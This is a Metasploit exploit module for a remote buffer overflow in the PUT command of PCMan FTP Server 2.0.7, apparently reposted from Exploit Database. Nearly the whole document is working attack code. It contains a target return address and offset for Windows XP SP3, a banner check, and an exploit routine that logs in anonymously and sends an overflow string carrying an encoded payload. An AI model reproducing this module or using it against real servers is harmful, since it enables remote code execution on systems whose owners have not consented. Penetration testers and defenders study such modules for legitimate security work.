PCMan FTP Server – ‘PUT’ Buffer Overflow (Metasploit)

• Exploit Database
• 21 阅读

• 作者： Metasploit
  日期： 2016-04-05
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39662/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  
  include Msf::Exploit::Remote::Ftp
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'PCMAN FTP Server Buffer Overflow - PUT Command',
  'Description'=> %q{
  This module exploits a buffer overflow vulnerability found in the PUT command of the
  PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
  credientials are enabled.
  },
  'Author' =>
  [
  'Jay Turla',# Initial Discovery -- @shipcod3
  'Chris Higgins' # msf Module -- @ch1gg1ns
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'EDB', '37731'],
  [ 'OSVDB', '94624']
  ],
  'DefaultOptions' =>
  {
  'EXITFUNC' => 'process'
  },
  'Payload'=>
  {
  'Space' => 1000,
  'BadChars'=> "\x00\x0A\x0D",
  },
  'Platform' => 'win',
  'Targets'=>
  [
  [ 'Windows XP SP3 English',
  {
  'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
  'Offset' => 2007
  }
  ],
  ],
  'DisclosureDate' => 'Aug 07 2015',
  'DefaultTarget'=> 0))
  end
  
  def check
  connect_login
  disconnect
  
  if /220 PCMan's FTP Server 2\.0/ === banner
  Exploit::CheckCode::Appears
  else
  Exploit::CheckCode::Safe
  end
  end
  
  
  def exploit
  connect_login
  
  print_status('Generating payload...')
  sploit = rand_text_alpha(target['Offset'])
  sploit << [target.ret].pack('V')
  sploit << make_nops(16)
  sploit << payload.encoded
  
  send_cmd( ["PUT", sploit], false )
  disconnect
  end
  
  end